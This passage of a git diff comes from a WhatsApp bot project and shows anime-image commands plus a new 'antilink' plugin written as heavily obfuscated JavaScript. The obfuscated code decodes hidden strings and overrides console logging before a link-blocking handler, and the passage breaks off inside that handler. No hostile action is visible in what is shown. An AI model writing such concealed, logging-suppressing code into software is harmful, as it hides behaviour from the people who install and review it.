|
119 |
+
await conn.sendMessage(from, { image: { url: data.url }, caption: '👸 *ᴀʟɪ-ᴍᴅ ʀᴀɴᴅᴏᴍ ᴀɴɪᴍᴇ ɢɪʀʟ ɪᴍᴀɢᴇs* 👸\n\n\n *🧬©ᴀʟɪ-ᴍᴅ ʙʏ ᴀʟɪ Tᴇᴄʜ*' }, { quoted: mek });
|
120 |
+
} catch (e) {
|
121 |
+
console.log(e);
|
122 |
+
reply(`*Error Fetching Anime Girl image*: ${e.message}`);
|
123 |
+
}
|
124 |
+
});
|
125 |
+
|
126 |
+
cmd({
|
127 |
+
pattern: "loli",
|
128 |
+
alias: ["lolii"],
|
129 |
+
desc: "Fetch a random anime girl image.",
|
130 |
+
category: "fun",
|
131 |
+
react: "🐱",
|
132 |
+
filename: __filename
|
133 |
+
},
|
134 |
+
async (conn, mek, m, { from, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply }) => {
|
135 |
+
try {
|
136 |
+
const apiUrl = `https://api.waifu.pics/sfw/waifu`;
|
137 |
+
const response = await axios.get(apiUrl);
|
138 |
+
const data = response.data;
|
139 |
+
|
140 |
+
await conn.sendMessage(from, { image: { url: data.url }, caption: '👸 *ᴀʟɪ-ᴍᴅ ʀᴀɴᴅᴏᴍ ᴀɴɪᴍᴇ ɢɪʀʟ ɪᴍᴀɢᴇs* 👸\n\n\n *🧬©ᴀʟɪ-ᴍᴅ ʙʏ ᴀʟɪ Tᴇᴄʜ*' }, { quoted: mek });
|
141 |
+
} catch (e) {
|
142 |
+
console.log(e);
|
143 |
+
reply(`*Error Fetching Anime Girl image*: ${e.message}`);
|
144 |
+
}
|
145 |
+
});
|
plugins/antilink.js
ADDED
@@ -0,0 +1 @@
|
|
|
|
|
1 |
+
(function(_0x38de45,_0x351239){function _0x3bb905(_0x2fe486,_0x3009d1,_0x46b8a6,_0x1eb250){return _0x2a42(_0x1eb250- -0x3a4,_0x2fe486);}function _0x25ae40(_0x2eea6d,_0x3c8294,_0x12fdd1,_0x55433e){return _0x2a42(_0x12fdd1- -0x24b,_0x3c8294);}const _0xf4a7b=_0x38de45();while(!![]){try{const _0x180a03=-parseInt(_0x3bb905(-0x195,-0x1af,-0x16e,-0x1a6))/(-0x3*0x41+0x172+-0x57*0x2)*(parseInt(_0x3bb905(-0x1bd,-0x225,-0x1de,-0x1ec))/(0x679*-0x4+0x1924+0x2*0x61))+-parseInt(_0x3bb905(-0x14d,-0x1bb,-0x14d,-0x18a))/(0x1183*-0x1+0x1215+-0xd*0xb)*(-parseInt(_0x25ae40(-0x94,-0x39,-0x58,-0x5e))/(-0x227+0x3*0x687+-0x116a))+parseInt(_0x25ae40(-0x6a,-0x52,-0x36,-0x68))/(0x1822+-0x732+-0x10eb)*(-parseInt(_0x3bb905(-0x18e,-0x1b3,-0x1dc,-0x1c2))/(0x5*-0xf0+-0x13dd+-0x1b*-0xe9))+parseInt(_0x25ae40(-0x56,-0xc1,-0x8c,-0x5c))/(-0xb74+-0x20e*0x10+0x2c5b)*(-parseInt(_0x3bb905(-0x1c9,-0x1d5,-0x1ee,-0x1e8))/(0x27b+0x1f74+0x21*-0x107))+-parseInt(_0x3bb905(-0x1ba,-0x20a,-0x202,-0x1d8))/(0x1529+-0x3c6*0x5+-0x1*0x242)*(parseInt(_0x25ae40(-0x59,-0x83,-0x97,-0x7d))/(0x1*-0x5f7+0xeda+-0x97*0xf))+-parseInt(_0x3bb905(-0x1d1,-0x1e7,-0x1ce,-0x1bf))/(0x1*0x7cf+-0x118f+0x9cb)*(-parseInt(_0x25ae40(-0x79,-0x9d,-0x8d,-0x5f))/(0x24e3+-0x1*0x607+0x44*-0x74))+-parseInt(_0x25ae40(-0x27,-0x7f,-0x59,-0x54))/(-0x1*-0x2057+-0x114e+-0xefc*0x1)*(-parseInt(_0x25ae40(-0x71,-0x70,-0x5a,-0x3a))/(0x2447*0x1+-0xabc*-0x2+-0x39b1));if(_0x180a03===_0x351239)break;else _0xf4a7b['push'](_0xf4a7b['shift']());}catch(_0x4672c0){_0xf4a7b['push'](_0xf4a7b['shift']());}}}(_0x45d9,0xa1ecb+0x8897b+0x7a46e*-0x1));function _0x2a42(_0x23db14,_0x57a5bc){const _0x323222=_0x45d9();return _0x2a42=function(_0x2c5d59,_0x3546ca){_0x2c5d59=_0x2c5d59-(0x6d1*0x5+0xe4c+-0x2ebd);let _0xd09add=_0x323222[_0x2c5d59];if(_0x2a42['NvgfBC']===undefined){var _0x49cad9=function(_0x1a5c53){const _0x46b79c='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x6cf166='',_0x5ef052='',_0xbc2602=_0x6cf166+_0x49cad9;for(let _0x3396a8=-0x2636+-0x2*-0x856+0x6*0x397,_0x285d14,_0x136eb2,_0x1481b3=0x585*0x1+-0xc2*0x1a+-0x1*-0xe2f;_0x136eb2=_0x1a5c53['charAt'](_0x1481b3++);~_0x136eb2&&(_0x285d14=_0x3396a8%(-0x1d5a+-0x18c8+0x3626)?_0x285d14*(-0x1e2f*-0x1+0x161*-0x4+-0x186b)+_0x136eb2:_0x136eb2,_0x3396a8++%(-0x266*-0x8+0x19ce+-0x12f*0x26))?_0x6cf166+=_0xbc2602['charCodeAt'](_0x1481b3+(-0x21ff*0x1+0x6cf*0x1+0xd9d*0x2))-(0x3df*0xa+0xa84+-0x3130)!==0x1*0xe9+-0x126d+-0x4c*-0x3b?String['fromCharCode'](0xa*0x99+-0x1652+0x1157&_0x285d14>>(-(0x2+0x2363*-0x1+0x2363*0x1)*_0x3396a8&0x14df+-0x1*0x26f5+0x121c)):_0x3396a8:-0x8fc+-0x1*-0x3e+0x8be){_0x136eb2=_0x46b79c['indexOf'](_0x136eb2);}for(let _0x4f9636=0x11*-0x14b+-0xfe2+0x25dd,_0x458667=_0x6cf166['length'];_0x4f9636<_0x458667;_0x4f9636++){_0x5ef052+='%'+('00'+_0x6cf166['charCodeAt'](_0x4f9636)['toString'](-0x1a57+-0xd64+-0x27cb*-0x1))['slice'](-(0xb*0x119+0x3ad*0x5+-0x1*0x1e72));}return decodeURIComponent(_0x5ef052);};_0x2a42['PsxKWl']=_0x49cad9,_0x23db14=arguments,_0x2a42['NvgfBC']=!![];}const _0x44a322=_0x323222[-0x706+0x26ba+0x4*-0x7ed],_0x4405df=_0x2c5d59+_0x44a322,_0x5c9a30=_0x23db14[_0x4405df];if(!_0x5c9a30){const _0x16b1c0=function(_0x4604c3){this['ovxIyg']=_0x4604c3,this['GdJGpV']=[-0x81*-0x3a+-0x9*-0x2f3+-0x53*0xac,-0x1ac+0x802+0x32b*-0x2,0x239d+-0x147a+-0xf23],this['GtZKkt']=function(){return'newState';},this['KTcRTD']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['GUenwZ']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x16b1c0['prototype']['KlTOur']=function(){const _0x5ef0da=new RegExp(this['KTcRTD']+this['GUenwZ']),_0x1bfd55=_0x5ef0da['test'](this['GtZKkt']['toString']())?--this['GdJGpV'][-0x5*-0x151+0x18e6+-0x1f7a]:--this['GdJGpV'][0x17c+0x6*0x33d+-0x14ea];return this['tibbbb'](_0x1bfd55);},_0x16b1c0['prototype']['tibbbb']=function(_0x3bc632){if(!Boolean(~_0x3bc632))return _0x3bc632;return this['ckyaOX'](this['ovxIyg']);},_0x16b1c0['prototype']['ckyaOX']=function(_0x19062e){for(let _0x547a63=-0xd6*-0x1a+0x67e*0x6+-0x3cb0,_0x2cff24=this['GdJGpV']['length'];_0x547a63<_0x2cff24;_0x547a63++){this['GdJGpV']['push'](Math['round'](Math['random']())),_0x2cff24=this['GdJGpV']['length'];}return _0x19062e(this['GdJGpV'][-0x1*0xcaa+-0x371*-0x1+-0x939*-0x1]);},new _0x16b1c0(_0x2a42)['KlTOur'](),_0xd09add=_0x2a42['PsxKWl'](_0xd09add),_0x23db14[_0x4405df]=_0xd09add;}else _0xd09add=_0x5c9a30;return _0xd09add;},_0x2a42(_0x23db14,_0x57a5bc);}const _0x1c1750=(function(){const _0x1f68b0={'KCivQ':function(_0x517d0c,_0x1f1ee4){return _0x517d0c(_0x1f1ee4);},'AlBaB':function(_0x5308fc,_0x171559){return _0x5308fc+_0x171559;},'oOpEq':_0x2ee7cd(0x1c4,0x1b2,0x181,0x1bd)+'nction()\x20','lvdSX':_0x17583c(-0xb,0x29,0x10,0x44),'ykdhI':_0x2ee7cd(0x168,0x189,0x169,0x182),'wWmeW':_0x2ee7cd(0x1a0,0x1ac,0x175,0x1a5),'yYWgl':_0x17583c(0xe,-0xf,-0x26,-0x64),'eAziy':'table','tObWU':function(_0x5c4d0d,_0x5e19ff){return _0x5c4d0d<_0x5e19ff;},'Cwtrl':function(_0x266be3,_0x12a8af){return _0x266be3!==_0x12a8af;},'vTiXZ':_0x2ee7cd(0x1b5,0x1b3,0x179,0x19b),'taGmp':_0x2ee7cd(0x165,0x14e,0x14e,0x112)};function _0x2ee7cd(_0x1746a5,_0x33f379,_0x5be8e2,_0x3fbfb8){return _0x2a42(_0x33f379- -0x6c,_0x5be8e2);}let _0x90a4af=!![];function _0x17583c(_0x1498fb,_0x3ae5ef,_0x3aa7b9,_0x158820){return _0x2a42(_0x3aa7b9- -0x1fe,_0x1498fb);}return function(_0x4e2ebf,_0x53352f){const _0x46761c=_0x90a4af?function(){const _0x169d6d={'BjzeB':function(_0x2d38b8,_0x3fabe9){return _0x1f68b0['KCivQ'](_0x2d38b8,_0x3fabe9);},'WuToR':function(_0x35d710,_0x25a00c){function _0x4dda5b(_0x43a743,_0x47df5e,_0x5cdf12,_0x3b76c4){return _0x2a42(_0x3b76c4- -0x229,_0x5cdf12);}return _0x1f68b0[_0x4dda5b(-0x4f,-0x41,-0x20,-0x22)](_0x35d710,_0x25a00c);},'aETji':_0x1f68b0[_0x4977e4(0x38,0x8,0xc,0x3c)],'UHzvE':'{}.constru'+_0x1790c9(0x48b,0x499,0x48b,0x460)+_0x1790c9(0x4dd,0x504,0x53f,0x4d3)+'\x20)','FDGzj':function(_0x54be37){return _0x54be37();},'HosAz':_0x1f68b0[_0x1790c9(0x471,0x493,0x45d,0x462)],'VMJeL':_0x1f68b0[_0x4977e4(0x24,-0x10,-0x1a,0x21)],'iyxTG':_0x1f68b0['wWmeW'],'dYdLn':_0x1f68b0[_0x4977e4(0x2c,-0x5,0x22,0x8)],'FDKSy':_0x1f68b0[_0x1790c9(0x4b2,0x4ba,0x4f4,0x4c6)],'Lqaic':function(_0x3aff89,_0x1803ab){function _0x1298bc(_0x337abd,_0x5d5593,_0x4bf73d,_0x26e8f6){return _0x1790c9(_0x26e8f6,_0x337abd- -0x56a,_0x4bf73d-0x149,_0x26e8f6-0x71);}return _0x1f68b0[_0x1298bc(-0x78,-0x4d,-0x3c,-0x40)](_0x3aff89,_0x1803ab);}};function _0x1790c9(_0x553905,_0xa14e89,_0x12d3af,_0x3622ae){return _0x2a42(_0xa14e89-0x2e8,_0x553905);}function _0x4977e4(_0xf42de9,_0x12f947,_0x17dd3a,_0xf3ef86){return _0x2a42(_0x12f947- -0x20a,_0xf42de9);}if(_0x1f68b0[_0x1790c9(0x4d1,0x4dc,0x4c0,0x519)](_0x1f68b0['vTiXZ'],_0x1f68b0[_0x1790c9(0x4d1,0x4bf,0x484,0x498)])){if(_0x53352f){const _0x21a414=_0x53352f[_0x1790c9(0x495,0x494,0x4ca,0x462)](_0x4e2ebf,arguments);return _0x53352f=null,_0x21a414;}}else{let _0xeae9f4;try{const _0x2213f7=_0x169d6d['BjzeB'](_0x501532,_0x169d6d[_0x4977e4(0xe,0xc,0x3a,-0x22)](_0x169d6d['aETji'],_0x169d6d[_0x1790c9(0x463,0x495,0x4a2,0x46f)])+');');_0xeae9f4=_0x169d6d[_0x4977e4(-0x60,-0x4f,-0x43,-0x52)](_0x2213f7);}catch(_0x4f94c1){_0xeae9f4=_0x14a4a7;}const _0x5f3bcb=_0xeae9f4[_0x4977e4(-0x2f,-0x39,-0x69,-0x7)]=_0xeae9f4[_0x1790c9(0x4b7,0x4b9,0x4ee,0x4ac)]||{},_0x489380=[_0x169d6d[_0x1790c9(0x4fa,0x503,0x519,0x4d0)],_0x169d6d[_0x1790c9(0x500,0x4c5,0x4b8,0x4c2)],_0x169d6d[_0x1790c9(0x4c7,0x496,0x4c2,0x460)],_0x169d6d['dYdLn'],_0x1790c9(0x4a9,0x4bd,0x4b7,0x492),_0x169d6d[_0x1790c9(0x4eb,0x4b7,0x4ad,0x47c)],_0x4977e4(-0x5b,-0x21,0x17,0x19)];for(let _0x48cbf5=0x2661+-0x1*-0x133+-0x22*0x12a;_0x169d6d[_0x1790c9(0x494,0x4bb,0x48a,0x4b8)](_0x48cbf5,_0x489380[_0x1790c9(0x4be,0x4ea,0x501,0x4d2)]);_0x48cbf5++){const _0x26e773=_0x2da5a3[_0x4977e4(-0x3b,-0x63,-0x61,-0x7b)+'r'][_0x1790c9(0x485,0x4b2,0x481,0x4d0)][_0x1790c9(0x4c9,0x4a9,0x4d3,0x4a8)](_0x3975bd),_0x602c1=_0x489380[_0x48cbf5],_0x11f0c1=_0x5f3bcb[_0x602c1]||_0x26e773;_0x26e773[_0x1790c9(0x4d7,0x4b6,0x4e4,0x483)]=_0x7c2db1[_0x1790c9(0x4d3,0x4a9,0x472,0x4ad)](_0x1859aa),_0x26e773[_0x1790c9(0x4e4,0x4cf,0x508,0x4f5)]=_0x11f0c1[_0x4977e4(0x2,-0x23,0xa,-0x47)][_0x4977e4(-0x86,-0x49,-0x40,-0x4d)](_0x11f0c1),_0x5f3bcb[_0x602c1]=_0x26e773;}}}:function(){};return _0x90a4af=![],_0x46761c;};}()),_0x440961=_0x1c1750(this,function(){const _0x2b7948={};function _0x237c9d(_0x24741e,_0x493ae4,_0x110ddb,_0x275bd8){return _0x2a42(_0x275bd8-0x3d6,_0x493ae4);}_0x2b7948[_0x3b7209(0x4bc,0x4de,0x491,0x4f1)]='(((.+)+)+)'+'+$';function _0x3b7209(_0x591aca,_0x4eb0c6,_0xbd5163,_0x210d36){return _0x2a42(_0x591aca-0x2a9,_0xbd5163);}const _0x1ed8a6=_0x2b7948;return _0x440961[_0x237c9d(0x5c1,0x5e6,0x5f5,0x5bd)]()['search'](_0x1ed8a6[_0x3b7209(0x4bc,0x4bd,0x49a,0x4a5)])[_0x237c9d(0x5e8,0x5ce,0x58b,0x5bd)]()['constructo'+'r'](_0x440961)[_0x237c9d(0x61b,0x5d2,0x60d,0x5e7)](_0x1ed8a6[_0x237c9d(0x623,0x610,0x5d2,0x5e9)]);});_0x440961();const _0x5a0643=(function(){function _0x15347c(_0x264219,_0x75703f,_0x54aa8c,_0x17f9de){return _0x2a42(_0x264219-0x194,_0x75703f);}function _0x3451d0(_0x266571,_0x1184b5,_0x1eaebd,_0x24b186){return _0x2a42(_0x24b186-0x171,_0x1184b5);}const _0x2f1d48={'xnUyD':function(_0x549976,_0xdfc147){return _0x549976(_0xdfc147);},'AqjdB':function(_0x2b3369,_0x58a4f9){return _0x2b3369+_0x58a4f9;},'uYlyF':function(_0x5b38c1,_0x2491cf){return _0x5b38c1+_0x2491cf;},'WvxWY':_0x15347c(0x3b2,0x3e1,0x3ca,0x3c0)+_0x3451d0(0x39a,0x336,0x359,0x370),'gwQuf':_0x15347c(0x37c,0x35d,0x358,0x382)+_0x3451d0(0x332,0x2fd,0x347,0x322)+_0x3451d0(0x373,0x3b2,0x35a,0x38d)+'\x20)','vCyao':function(_0x54011f,_0x112a83){return _0x54011f!==_0x112a83;},'DWIvq':'MBqws','UklpD':_0x3451d0(0x337,0x36b,0x304,0x32e)};let _0x18949f=!![];return function(_0x297a1f,_0x21b3a2){const _0x4c2b42={'HyLri':function(_0x485081,_0x2ddba7){function _0x4d0366(_0x51643c,_0x124de5,_0x462a2d,_0x2811ce){return _0x2a42(_0x462a2d-0x144,_0x124de5);}return _0x2f1d48[_0x4d0366(0x355,0x36d,0x35d,0x34b)](_0x485081,_0x2ddba7);},'PqODd':function(_0x1a8c66,_0x43d16c){function _0x4dd1d0(_0x367777,_0x257dea,_0x3b2520,_0x3367fe){return _0x2a42(_0x257dea-0x20f,_0x3b2520);}return _0x2f1d48[_0x4dd1d0(0x3e1,0x3fa,0x40e,0x430)](_0x1a8c66,_0x43d16c);},'dSdGV':function(_0x3bc314,_0x5c359f){function _0x2bee9d(_0x3035ac,_0x143c3f,_0x560ee3,_0x2744d1){return _0x2a42(_0x143c3f-0x18d,_0x560ee3);}return _0x2f1d48[_0x2bee9d(0x346,0x36c,0x350,0x38b)](_0x3bc314,_0x5c359f);},'Adkxc':_0x2f1d48[_0xea34fc(0x1a5,0x1d9,0x1bc,0x1d7)],'AGbCd':_0x2f1d48[_0xea34fc(0x1a0,0x17d,0x16d,0x185)],'nyEKm':function(_0x57c9ee,_0x131544){return _0x2f1d48['vCyao'](_0x57c9ee,_0x131544);},'mVoJA':_0x3c0bc9(0x4e3,0x4ac,0x4b8,0x4cd),'EZpPi':function(_0x6df1ea,_0x1c2ac4){function _0x438f51(_0x56d11a,_0x1c4048,_0x595a61,_0x3314d2){return _0xea34fc(_0x3314d2- -0x1e6,_0x1c4048-0xa,_0x1c4048,_0x3314d2-0x126);}return _0x2f1d48[_0x438f51(-0x88,-0x20,-0x4d,-0x57)](_0x6df1ea,_0x1c2ac4);},'KSplg':_0x2f1d48[_0x3c0bc9(0x4eb,0x4dc,0x50c,0x4cc)],'xWbhR':_0x2f1d48[_0x3c0bc9(0x470,0x475,0x45d,0x4a2)]};function _0xea34fc(_0x20ecee,_0x4f5be0,_0xcb0dd1,_0x184e66){return _0x15347c(_0x20ecee- -0x1d5,_0xcb0dd1,_0xcb0dd1-0x85,_0x184e66-0x178);}const _0x57a765=_0x18949f?function(){function _0x1610dd(_0x2acd26,_0x1f9407,_0x56a202,_0x2404e6){return _0x3c0bc9(_0x2acd26-0x84,_0x1f9407- -0x3c9,_0x56a202-0x109,_0x2acd26);}function _0x515089(_0x45c856,_0x25e520,_0x30a336,_0x3bfb54){return _0x3c0bc9(_0x45c856-0x1cc,_0x3bfb54-0x3b,_0x30a336-0x139,_0x30a336);}if(_0x4c2b42['nyEKm'](_0x4c2b42[_0x1610dd(0xea,0xce,0xb1,0xbc)],_0x4c2b42['mVoJA'])){const _0xc7579e=_0x4c2b42[_0x1610dd(0x112,0x10f,0xec,0xfb)](_0x1b1682,_0x4c2b42['PqODd'](_0x4c2b42[_0x1610dd(0xbd,0xf2,0xe9,0x121)](_0x4c2b42[_0x1610dd(0x138,0x117,0x130,0x11f)],_0x4c2b42[_0x1610dd(0x134,0xf9,0xfe,0x12f)]),');'));_0x2da0c9=_0xc7579e();}else{if(_0x21b3a2){if(_0x4c2b42[_0x1610dd(0x94,0xb5,0xb9,0x9c)](_0x4c2b42[_0x1610dd(0x10e,0xfa,0x136,0x12c)],_0x4c2b42['xWbhR'])){const _0x5b0409=_0x21b3a2[_0x515089(0x4ec,0x499,0x4c9,0x4b3)](_0x297a1f,arguments);return _0x21b3a2=null,_0x5b0409;}else{const _0x536685=_0x176c34['apply'](_0x30ccec,arguments);return _0x19328f=null,_0x536685;}}}}:function(){};function _0x3c0bc9(_0x59f151,_0x5676f4,_0x3eb18b,_0x5a86ba){return _0x3451d0(_0x59f151-0x138,_0x5a86ba,_0x3eb18b-0x1b5,_0x5676f4-0x15b);}return _0x18949f=![],_0x57a765;};}()),_0x53c5df=_0x5a0643(this,function(){const _0x2bc38a={'LHHum':function(_0x3cb462,_0x1259bc){return _0x3cb462(_0x1259bc);},'dmaGR':function(_0x142bb8,_0x237a6f){return _0x142bb8+_0x237a6f;},'NcLSH':_0x5c1826(0x591,0x5f5,0x5a6,0x5bf)+_0x5c1826(0x57a,0x5a7,0x5a4,0x5a0),'qhJQo':_0x5c1826(0x5a5,0x5bc,0x564,0x589)+_0x5c1826(0x583,0x52a,0x58f,0x552)+'rn\x20this\x22)('+'\x20)','BMDCP':_0x5c1826(0x57e,0x591,0x598,0x596),'cXJON':'info','wxaaX':_0x478164(-0x19b,-0x16c,-0x1a5,-0x1a1),'oMUvn':_0x5c1826(0x59b,0x5a7,0x564,0x58a),'wzEcO':function(_0x17eb39,_0x35119c){return _0x17eb39<_0x35119c;}};let _0x2fee47;function _0x478164(_0x3452c0,_0x2da3da,_0xcb7666,_0x13dd27){return _0x2a42(_0x13dd27- -0x379,_0xcb7666);}try{const _0x1f3720=_0x2bc38a[_0x5c1826(0x5a0,0x541,0x56c,0x57a)](Function,_0x2bc38a[_0x478164(-0x1a3,-0x1cf,-0x181,-0x19b)](_0x2bc38a[_0x478164(-0x1d4,-0x1ab,-0x18f,-0x19b)](_0x2bc38a['NcLSH'],_0x2bc38a[_0x478164(-0x13c,-0x150,-0x171,-0x176)]),');'));_0x2fee47=_0x1f3720();}catch(_0x54b246){_0x2fee47=window;}const _0x3bbf08=_0x2fee47[_0x5c1826(0x53a,0x55f,0x57a,0x572)]=_0x2fee47[_0x478164(-0x1be,-0x1a7,-0x1a4,-0x1a8)]||{},_0x1e8192=['log',_0x2bc38a[_0x5c1826(0x5a3,0x5a7,0x57b,0x58f)],_0x2bc38a[_0x5c1826(0x54f,0x538,0x518,0x545)],_0x2bc38a[_0x478164(-0x1ca,-0x1b0,-0x175,-0x1b2)],_0x478164(-0x1df,-0x1a3,-0x1bf,-0x1a4),_0x5c1826(0x5c8,0x5c0,0x5ee,0x5be),_0x2bc38a['oMUvn']];function _0x5c1826(_0x5a2382,_0x30444f,_0x35a92e,_0x5b6e58){return _0x2a42(_0x5b6e58-0x3a1,_0x35a92e);}for(let _0x46d50b=0x1*0x267e+0x153c+-0x3bba;_0x2bc38a[_0x478164(-0x163,-0x16d,-0x1a9,-0x16c)](_0x46d50b,_0x1e8192[_0x478164(-0x1ac,-0x174,-0x13f,-0x177)]);_0x46d50b++){const _0x4406dd=_0x5a0643['constructo'+'r']['prototype'][_0x5c1826(0x56b,0x530,0x59d,0x562)](_0x5a0643),_0x3c1228=_0x1e8192[_0x46d50b],_0x1d1619=_0x3bbf08[_0x3c1228]||_0x4406dd;_0x4406dd[_0x478164(-0x1ce,-0x1bc,-0x1b2,-0x1ab)]=_0x5a0643[_0x5c1826(0x59a,0x58b,0x540,0x562)](_0x5a0643),_0x4406dd[_0x478164(-0x1ce,-0x15a,-0x191,-0x192)]=_0x1d1619[_0x478164(-0x18f,-0x193,-0x1ab,-0x192)][_0x478164(-0x1cd,-0x1be,-0x1d6,-0x1b8)](_0x1d1619),_0x3bbf08[_0x3c1228]=_0x4406dd;}});_0x53c5df();const {cmd}=require('../command'),config=require(_0x120ae6(0x45a,0x436,0x47a,0x491)),warnings={},linkPatterns=[/https?:\/\/(?:chat\.whatsapp\.com|wa\.me)\/\S+/gi,/https?:\/\/(?:api\.whatsapp\.com|wa\.me)\/\S+/gi,/wa\.me\/\S+/gi,/https?:\/\/(?:t\.me|telegram\.me)\/\S+/gi,/https?:\/\/(?:www\.)?\.com\/\S+/gi,/https?:\/\/(?:www\.)?twitter\.com\/\S+/gi,/https?:\/\/(?:www\.)?linkedin\.com\/\S+/gi,/https?:\/\/(?:whatsapp\.com|channel\.me)\/\S+/gi,/https?:\/\/(?:www\.)?reddit\.com\/\S+/gi,/https?:\/\/(?:www\.)?discord\.com\/\S+/gi,/https?:\/\/(?:www\.)?twitch\.tv\/\S+/gi,/https?:\/\/(?:www\.)?vimeo\.com\/\S+/gi,/https?:\/\/(?:www\.)?dailymotion\.com\/\S+/gi,/https?:\/\/(?:www\.)?medium\.com\/\S+/gi],_0x2ecd0d={};function _0x45d9(){const _0xb80a35=['D2fYBG','quDIq2q','s1nWBgC','zxjYB3i6','imQa0ztqVm+dZR3rLokiGIdHTke','EwTKAeK','lI4Vy29UzMLN','sM9Qr0S','zgvSzxrL','mtGWodLcAgvxu3q','BMn0Aw9UkcKG','D2fYBMLUz3m','C2vUze1LC3nHzW','BgvUz3rO','CwHkuw8','C3bSAxq','EvLxz2W','0lZoUDgcidOGmYOkkG','qwXcyui','Z4pjTca6iokeK865YBtHTiSG','rMfPBgvKihrVia','De9Iv1u','iqOQ4PsC4PAIiog0Hm+d4BsCYBq','shLmCMK','D3Pfy08','Bg9N','r2nrBM0','rfDjDNe','C2vHCMnO','B09Wrxe','AxfQDeu','qwrREgm','mtmWtxfZrMf4','v3vuB1i','u1bttgm','Aw5MBW','Eg5vEuq','m21vwxbHuG','sg9ZqxO','CM4GDgHPCYiPka','DgfIBgu','CMv0DxjUicHMDq','BfjmBu0','y1Hkt04','YBtoUCM0zYdIRkhILidILidILidILia','zxnZAw5NihrOzq','y29UC3rYDwn0BW','4P2miefUigvYCM9Y','vwTSCeq','yM9wuhG','BhzKu1G','yxbWBhK','vuH6DKu','AxL4veC','ig1LC3nHz2uU','AMLAugK','y3rVCIGICMv0Dq','rvPWugK','EvHmDge','mtbpAwTzA0u','4BsBidOG','qxbUtxK','tff3A2u','mtrVrvPLAMO','4OcokUkAOo+4JYdIHjpoUCM00lRrLsa','wNbhBLu','rKrhEMO','nJe2wKLcsNjd','vev0ENm','mtq2nhj6v2nfwq','mtaYndaZzKvIsKHf','AfvVy0G','yMLUza','Eu5zyxm','CMvTB3zL','kGOQ4PsC4PAIiog0NhprLmQa','B3r3sve','DNrxvwK','D3HHyvG','4Psa4Psa4Psa4Psa4Psa4Psa4PsakG','C2fNztO','ChjVDg90ExbL','BvzVsKe','mti4otq5nZv2A1HLyMC','D3fAA0S','x19WCM90B19F','rKrlu3K','DKn5yw8','y29UC29Szq','zuf6AxK','thfHAwm','AeHxvKu','zxHJzxb0Aw9U','A2v5','DgfhBxa','zxjYB3i','teHiDw0','4PwT4Psa4Psa4Psa4Psa4QYHiog0OC6XYOa','B1nOALq','twvZC2fNzsbKzq','vK1kzuW','zg1Hr1i','DvLSEuy','v1vrvhi','z3DrDwy','mJi0mJy4D3n2wLHm','4OstZ4ppIDgu4OIciokAOo+4JYOkkG','qw50As1SAw5Ria','ndi3ndzsCgj4sMq','v3z4v1K','Dg9tDhjPBMC','E30Uy29UC3rYDq','DhjHy2u','zgvSzxrLig1LCW','qxfQzei','kGOQ4PsC4PAIimQa0ztoSDgv','0zxrLmM04OIcZRNjTgCQcIO','qK1eq1a','zfnKr1y','ANPtwKG','mta2odq3mdjYqw9Nue4','nJveqw9pz0C','mZu3oti4DeTcqw9h','q3D0CMW'];_0x45d9=function(){return _0xb80a35;};return _0x45d9();}function _0x120ae6(_0x34d99b,_0x436550,_0xa69ede,_0x3317e6){return _0x2a42(_0x34d99b-0x25f,_0x436550);}_0x2ecd0d['on']='body',cmd(_0x2ecd0d,async(_0x1b0103,_0x5a117b,_0x21485b,{from:_0x31329c,body:_0x59e102,sender:_0x197a37,isGroup:_0x51e048,isAdmins:_0x31a9fa,isBotAdmins:_0x393e4b,reply:_0x1698ad})=>{function _0xbb70f3(_0x26fe8e,_0x59956c,_0x4694fc,_0x41781c){return _0x120ae6(_0x26fe8e- -0x209,_0x4694fc,_0x4694fc-0xc7,_0x41781c-0x103);}const _0x3240d4={'vtWUi':function(_0x22a1f3,_0x4e501d){return _0x22a1f3===_0x4e501d;},'ApnMy':_0xbb70f3(0x216,0x249,0x233,0x238),'LQwke':function(_0x381564,_0x1a456a){return _0x381564||_0x1a456a;},'jYAnl':'true','boVPx':_0x592c78(-0x92,-0x6e,-0x5c,-0x7c),'otwIQ':_0xbb70f3(0x25f,0x292,0x291,0x279)+_0x592c78(-0x75,-0x46,-0x3b,-0x8f)+_0x592c78(-0x96,-0x5e,-0xca,-0x60),'VBtuB':function(_0x307ee7,_0x5db89b){return _0x307ee7<_0x5db89b;},'hHWVE':function(_0xd5e1e3,_0x28084c){return _0xd5e1e3!==_0x28084c;},'oShjT':'DSWer','jiZPi':_0xbb70f3(0x219,0x245,0x225,0x254),'SPSLc':_0x592c78(-0x63,-0x75,-0x6c,-0x6d),'jzSZH':_0x592c78(-0x7b,-0x63,-0x73,-0x63)+_0xbb70f3(0x24e,0x26b,0x232,0x211),'yXLta':function(_0x51cc6d,_0x450542){return _0x51cc6d(_0x450542);},'GcQnm':_0x592c78(-0xb7,-0xc4,-0x8d,-0xf3)+'\x20occurred\x20'+'while\x20proc'+_0xbb70f3(0x1fc,0x1f7,0x235,0x206)+_0xbb70f3(0x205,0x1d4,0x22d,0x1fd)};function _0x592c78(_0x67ef44,_0x3bde14,_0x1baf3b,_0x10ba54){return _0x120ae6(_0x67ef44- -0x4be,_0x3bde14,_0x1baf3b-0x119,_0x10ba54-0xdc);}try{if(_0x3240d4['vtWUi'](_0x3240d4[_0xbb70f3(0x20c,0x1e8,0x1ce,0x24a)],_0x592c78(-0x9d,-0x9a,-0xcf,-0xca)))_0x3a1855=_0x467d92;else{if(!global[_0xbb70f3(0x256,0x23f,0x22f,0x227)])global[_0x592c78(-0x5f,-0x8c,-0x8b,-0x7f)]={};if(_0x3240d4[_0xbb70f3(0x20d,0x1d9,0x248,0x1fd)](!_0x51e048,_0x31a9fa)||!_0x393e4b)return;const 